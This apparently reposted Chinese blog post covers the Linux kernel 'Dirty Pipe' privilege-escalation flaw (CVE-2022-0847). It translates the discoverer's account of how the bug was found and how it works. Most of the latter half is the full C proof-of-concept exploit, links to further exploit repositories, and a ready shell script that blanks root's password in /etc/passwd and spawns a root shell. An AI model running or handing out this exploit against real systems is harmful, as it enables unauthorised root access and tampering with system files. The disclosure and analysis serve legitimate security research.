CVE-2022-0847 poc Linux内核本地提权漏洞

CVE-2022-0847 poc Linux内核本地提权漏洞

漏洞描述

Dirty Pipe漏洞

它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入root进程。

它类似于CVE-2016-5195 “Dirty Cow”,但更容易被利用

该漏洞 在 Linux 5.16.11、5.15.25 和 5.10.102 中修复。

  • 安全研究员 Max Kellermann 负责任地披露了“脏管道”漏洞,并表示它会影响 Linux Kernel 5.8 及更高版本,甚至在 Android 设备上也是如此。
  • 自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。
  • 发现新管道缓冲区结构的“标志”成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。此漏洞影响 5.17-rc6 之前的 Linux 内核版本
  • 它类似于CVE-2016-5195 “Dirty Cow”,但更容易被利用。
  • 该漏洞已在 Linux 5.16.11、5.15.25 和 5.10.102 中修复

漏洞严重性

  • 攻击复杂性:低
  • 攻击向量:本地
  • 可用性影响:-
  • 保密影响:-
  • 完整性影响:高
  • 特权要求:-
  • 范围: –
  • 用户交互:-
  • 版本:3.1
  • 基数:-
  • 基础严重性:-

漏洞是如何被发现的

腐败点 一

这一切都始于一年前关于损坏文件的投票。有客户抱怨下载的访问日志无法解压。事实上,其中一台日志服务器上有一个损坏的日志文件;可以解压,但是gzip报CRC错误。我无法解释它为什么会损坏,但我认为夜间拆分过程已经崩溃并留下了一个损坏的文件。我手动修复了文件的 CRC,关闭了工单,很快就忘记了这个问题。

几个月后,这种情况一次又一次地发生。每次,文件的内容看起来都是正确的,只有文件末尾的 CRC 是错误的。现在,有了几个损坏的文件,我能够更深入地挖掘并发现一种令人惊讶的损坏。一种模式出现了。

访问日志

让我简单介绍一下我们的日志服务器是如何工作的:在 CM4all 托管环境中,所有 Web 服务器(运行我们的自定义开源 HTTP 服务器)发送 UDP 多播数据报,其中包含有关每个 HTTP 请求的元数据。这些由运行Pond的日志服务器接收,Pond是我们自定义的开源内存数据库。每晚的作业将前一天的所有访问日志拆分为每个托管网站一个,每个都用zlib压缩。

通过 HTTP,可以将一个月的所有访问日志下载为单个 .gz文件。使用一个技巧(其中涉及Z_SYNC_FLUSH),我们可以连接所有 gzip 压缩的每日日志文件,而无需解压缩和重新压缩它们,这意味着这个 HTTP 请求几乎不消耗 CPU。splice()通过使用系统调用将数据直接从硬盘馈送到 HTTP 连接,而不通过内核/用户空间边界(“零复制”),可以节省内存带宽 。

Windows 用户无法处理.gz文件,但每个人都可以提取 ZIP 文件。ZIP 文件只是文件的容器.gz,因此我们可以使用相同的方法即时生成 ZIP 文件;我们需要做的就是首先发送一个 ZIP 标头,然后.gz 像往常一样连接所有文件内容,然后是中央目录(另一种标头)。

腐败点 二

这是正确的每日文件的结尾的样子:

000005f0  81 d6 94 39 8a 05 b0 ed  e9 c0 fd 07 00 00 ff ff
00000600  03 00 9c 12 0b f5 f7 4a  00 00

这是允许简单连接 的同步刷新。一个空的“最终”块,后面是 CRC32 ( ) 和未压缩的文件长度(= 19191 字节)。00 00 ff ff03 000xf50b129c0x00004af7

相同的文件但已损坏:

000005f0  81 d6 94 39 8a 05 b0 ed  e9 c0 fd 07 00 00 ff ff
00000600  03 00 50 4b 01 02 1e 03  14 00

同步刷新在那里,空的最终块在那里,但未压缩的长度现在0x0014031e= 1.3 MB(这是错误的,它与上述相同的 19 kB 文件)。CRC32 是0x02014b50,与文件内容不匹配。为什么?这是我们日志客户端中的越界写入还是堆损坏错误?

我比较了所有已知损坏的文件,令我惊讶的是,它们都具有相同的 CRC32 和相同的“文件长度”值。始终相同的 CRC – 这意味着这不可能是 CRC 计算的结果。对于损坏的数据,我们会看到不同(但错误)的 CRC 值。几个小时以来,我一直盯着代码中的漏洞,但找不到解释。

然后我盯着这8个字节。最终,我意识到这 是“P”和“K”的ASCII码。“PK”,这就是所有 ZIP 标头的开始方式。我们再来看看这8个字节:50 4b

50 4b 01 02 1e 03 14 00
  • 50 4b是“PK”
  • 01 02中央目录文件头的代码。
  • “版本由” = ; = 30 (3.0); = UNIX1e 030x1e0x03
  • “需要提取的版本” = ; = 20 (2.0)14 000x0014

其余的都不见了;标头显然在 8 个字节后被截断。

这确实是 ZIP 中央目录文件头的开头,这不是巧合。但是写入这些文件的进程没有生成此类标头的代码。无奈之下,我查看了 zlib 源代码和该进程使用的所有其他库,但一无所获。该软件对“PK”标头一无所知。

但是,有一个过程会生成“PK”标头;它是即时构建 ZIP 文件的 Web 服务。但是此过程以不同的用户身份运行,该用户对这些文件没有写权限。不可能是那个过程。

这一切都毫无意义,但新的支持票不断涌入(速度非常缓慢)。有一些系统性的问题,但我就是没能抓住它。这让我很沮丧,但我正忙于其他任务,我一直把这个文件损坏问题推到我队列的后面。

腐败点 三

外部压力把这个问题带回了我的意识。我扫描了整个硬盘上的损坏文件(花了两天时间),希望能出现更多的模式。确实,有一个模式:

  • 过去 3 个月内有 37 个损坏文件
  • 它们发生在 22 个不同的日子
  • 18 那些日子有 1 腐败
  • 1 天有 2 次腐败 (2021-11-21)
  • 1天有7个腐败(2021-11-30)
  • 1 天有 6 次腐败 (2021-12-31)
  • 1天有4次腐败(2022-01-31)

每个月的最后一天显然是最容易发生腐败的一天。

只有主日志服务器有损坏(提供 HTTP 连接和构建 ZIP 文件的服务器)。备用服务器(HTTP 非活动但相同的日志提取过程)的损坏为零。两台服务器上的数据是相同的,除了那些损坏。

这是由片状硬件引起的吗?内存不好?存储不好?宇宙射线?不,这些症状看起来不像是硬件问题。机器里有鬼?我们需要驱魔人吗?

盯着代码的人

我再次开始盯着我的代码漏洞,这次是 Web 服务。

请记住,Web 服务会写入一个 ZIP 标头,然后用于splice() 发送所有压缩文件,最后write()再次用于“中央目录文件标头”,它以 开头,正是损坏。通过网络发送的数据看起来与磁盘上的损坏文件完全一样。但是通过网络发送这个的进程对这些文件没有写权限(甚至没有尝试这样做),它只读取它们。不顾一切和不可能,一定是那个过程导致了腐败,但如何呢?50 4b 01 02 1e 03 14 00

我的第一个灵感闪现,为什么总是在一个月的最后一天被破坏。当网站所有者下载访问日志时,服务器会从当月的第一天开始,然后是第二天,以此类推。当然,月底发送的最后一天;每个月的最后一天总是跟在“PK”标题之后。这就是为什么它更有可能在最后一天腐败。(如果请求的月份尚未结束,则其他日期可能会损坏,但这不太可能。)

如何?

盯着内核代码的人

在被困了几个小时之后,在消除了所有绝对不可能的事情之后(在我看来),我得出了一个结论:这一定是一个内核错误。

将数据损坏归咎于 Linux 内核(即其他人的代码)必须是最后的手段。这是不太可能的。内核是一个极其复杂的项目,由成千上万的人使用看似混乱的方法开发;尽管如此,它还是非常稳定和可靠的。但这一次,我确信它一定是内核错误。

在异常清晰的时刻,我破解了两个 C 程序。

一个不断将字符串“AAAAA”的奇数块写入文件(模拟日志拆分器):

#include <unistd.h>
int main(int argc, char **argv) {
  for (;;) write(1, "AAAAA", 5);
}
// ./writer >foo

还有一个使用该文件将数据传输到管道 splice(),然后将字符串“BBBBB”写入管道(模拟 ZIP 生成器):

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char **argv) {
  for (;;) {
    splice(0, 0, 1, 0, 2, 0);
    write(1, "BBBBB", 5);
  }
}
// ./splicer <foo |cat >/dev/null

我将这两个程序复制到日志服务器,然后……宾果游戏!字符串“BBBBB”开始出现在文件中,即使没有人将此字符串写入文件(仅由没有写入权限的进程写入管道)。

所以这真的是一个内核错误!

一旦可以复制,所有错误都会变得浅薄。快速检查确认此错误影响 Linux 5.10 (Debian Bullseye) 但不影响 Linux 4.19 (Debian Buster)。在 v4.19 和 v5.10 之间有 185.011 次 git 提交,但是由于有了 ,只需 17 个步骤就可以找到错误的提交。git bisect

bisect 到达提交f6dd975583bd,它重构了匿名管道缓冲区的管道缓冲区代码。它改变了对管道进行“可合并”检查的方式。

管道、缓冲区和页面

为什么管呢?在我们的设置中,生成 ZIP 文件的 Web 服务通过管道与 Web 服务器通信;它讨论了我们发明的Web 应用程序套接字协议,因为我们对 CGI、FastCGI 和 AJP 不满意。使用管道而不是在套接字上进行多路复用(如 FastCGI 和 AJP 所做的)有一个主要优势:您可以splice()在应用程序和 Web 服务器中使用以获得最大效率。这减少了让 Web 应用程序脱离进程的开销(与在 Web 服务器进程内运行 Web 服务相反,就像 Apache 模块那样)。这允许在不牺牲(很多)性能的情况下进行权限分离。

Linux 内存管理的小绕道:CPU 管理的最小内存单位是一个页面(通常为 4 kB)。Linux 内存管理的最低层中的一切都是关于页面的。如果应用程序向内核请求内存,它将获得许多(匿名)页面。所有文件 I/O 也与页面有关:如果您从文件中读取数据,内核首先会从硬盘复制一些 4 kB 块到内核内存中,由称为页面缓存的子系统管理. 从那里,数据将被复制到用户空间。页面缓存中的副本会保留一段时间,可以再次使用它,避免不必要的硬盘 I/O,直到内核决定它可以更好地使用该内存(“回收”)。不是将文件数据复制到用户空间内存,而是由页面缓存管理的页面可以使用mmap()系统调用直接映射到用户空间(以增加页面错误和 TLB 刷新为代价的减少内存带宽的权衡)。Linux 内核有更多技巧:sendfile()系统调用允许应用程序将文件内容发送到套接字,而无需往返用户空间(在通过 HTTP 提供静态文件的 Web 服务器中流行的优化)。系统splice()调用是一种概括sendfile():如果传输的任一侧是管道,它允许相同的优化;另一端几乎可以是任何东西(另一个管道、文件、套接字、块设备、字符设备)。内核通过传递页面引用来实现这一点,而不是实际复制任何东西(零复制)。

管道是一种用于单向进程间通信的工具。一端用于将数据推送到其中,另一端可以提取该数据。Linux 内核通过一个struct pipe_buffer 来实现这一点,每个 struct pipe_buffer 都指向一个页面。第一次写入管道会分配一个页面(用于 4 kB 数据的空间)。如果最近的写入没有完全填满页面,则后续写入可能会附加到该现有页面而不是分配新页面。这就是“匿名”管道缓冲区的工作方式(anon_pipe_buf_ops)。

然而,如果你将splice()数据从一个文件导入到管道中,内核会首先将数据加载到页面缓存中。然后它将在页面缓存内创建一个指向(零副本),但与匿名管道缓冲区不同,写入管道的附加数据不得附加到此类页面,因为该页面由页面缓存拥有,而不是由管道拥有.struct pipe_buffer

检查是否可以将新数据附加到现有管道缓冲区的历史记录:

多年来,这个检查被来回重构,这还可以。或者是吗?

未初始化

几年前PIPE_BUF_FLAG_CAN_MERGE诞生,commit 241699cd72a8 “new iov_iter flavor: pipe-backed”(Linux 4.9, 2016) 添加了两个新函数,它们分配一个新的,但它的成员的初始化丢失了。现在可以使用任意标志创建页面缓存引用,但这并不重要。从技术上讲,这是一个错误,尽管当时没有任何后果,因为所有现有的标志都相当无聊。struct pipe_bufferflags

这个错误在 Linux 5.8 中突然变得很严重,提交 f6dd975583bd “pipe: merge anon_pipe_buf*_ops”。通过注入PIPE_BUF_FLAG_CAN_MERGE页面缓存引用,可以覆盖页面缓存中的数据,只需将新数据写入以特殊方式准备的管道即可。

腐败点 四

这解释了文件损坏:首先,一些数据被写入管道,然后大量文件被拼接,创建页面缓存引用。随机地,那些可能或可能没有 PIPE_BUF_FLAG_CAN_MERGE设置。如果是,那么write()写入中央目录文件头的调用将被写入最后一个压缩文件的页面缓存。

但为什么只有该标头的前 8 个字节?实际上,所有标头都被复制到页面缓存中,但此操作不会增加文件大小。原始文件最后只有 8 个字节的“未拼接”空间,只有这些字节可以被覆盖。从页面缓存的角度来看,页面的其余部分是未使用的(尽管管道缓冲区代码确实使用它,因为它有自己的页面填充管理)。

为什么这种情况不会更频繁地发生?因为页面缓存不会写回磁盘,除非它认为页面是“脏的”。意外覆盖页面缓存中的数据不会使页面“脏”。如果没有其他进程碰巧“弄脏”该文件,则此更改将是短暂的;在下一次重新启动之后(或者在内核决定从缓存中删除页面之后,例如在内存压力下回收),更改被恢复。这允许有趣的攻击,而不会在硬盘上留下痕迹。

利用

在我的第一个漏洞利用(我用于 bisect 的“writer”/“splicer”程序)中,我假设这个 bug 只能在特权进程写入文件时被利用,并且它取决于时间。

当我意识到真正的问题是什么时,我能够大大扩大漏洞:即使在没有写入器的情况下,也可以在(几乎)任意位置用任意数据覆盖页面缓存,没有时间限制. 限制是:

  • 攻击者必须具有读取权限(因为它需要将 splice()页面放入管道)
  • 偏移量不能在页面边界上(因为该页面的至少一个字节必须已拼接到管道中)
  • 写入不能跨越页面边界(因为将为其余部分创建一个新的匿名缓冲区)
  • 文件无法调整大小(因为管道有自己的页面填充管理,并且不会告诉页面缓存附加了多少数据)

要利用此漏洞,您需要:

  1. 创建管道。
  2. 用任意数据填充管道( PIPE_BUF_FLAG_CAN_MERGE在所有环条目中设置标志)。
  3. 排干管道(在环上的所有实例中设置标志)。struct pipe_bufferstruct pipe_inode_info
  4. 将目标文件(以 开头O_RDONLY)中的数据从目标偏移之前的位置拼接到管道中。
  5. 将任意数据写入管道;此数据将覆盖缓存的文件页面,而不是创建新的异常,因为已设置。struct pipe_bufferPIPE_BUF_FLAG_CAN_MERGE

为了让这个漏洞更有趣,它不仅可以在没有写权限的情况下工作,它还可以用于不可变文件、只读 btrfs 快照和只读挂载(包括 CD-ROM 挂载)。这是因为页面缓存始终是可写的(由内核),并且写入管道从不检查任何权限。

POC

这是我的漏洞概念验证:

exploit.c

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

时间线

漏洞利用:

gcc exploit.c -o exploit

https://github.com/antx-code/CVE-2022-0847

下载poc

https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.zip

编译./compile.sh(假设gcc已安装)

运行./exploit它会弹出一个root shell

su:必须从终端运行

如果您收到此错误消息:

  1. root使用密码登录aaron
  2. /etc/passwd然后,通过运行恢复mv /tmp/passwd.bak /etc/passwd

(哎呀抱歉我的笔记本电脑电池快没电了,我的充电器坏了,所以我现在没有时间解决这个问题,抱歉)

或者使用此sh文件进行提权:

https://github.com/imfiver/CVE-2022-0847

#/bin/bash
cat>exp.c<<EOF
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();
	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];
	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}
	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}
	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}
int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}
	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);
	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}
	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}
	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}
	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}
	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}
	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}
	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);
	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}
	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}
	printf("It worked!\n");
	return EXIT_SUCCESS;
}
EOF

gcc exp.c -o exp -std=c99

# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
	echo "/etc/passwd已备份到/tmp/passwd"
	passwd_tmp=$(cat /etc/passwd|head)
	./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

	echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

	# 现在可以无需密码切换到root账号
	su root
else
	echo "/etc/passwd未备份到/tmp/passwd"
	exit 1
fi
CVE-2022-0847 poc Linux内核本地提权漏洞

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。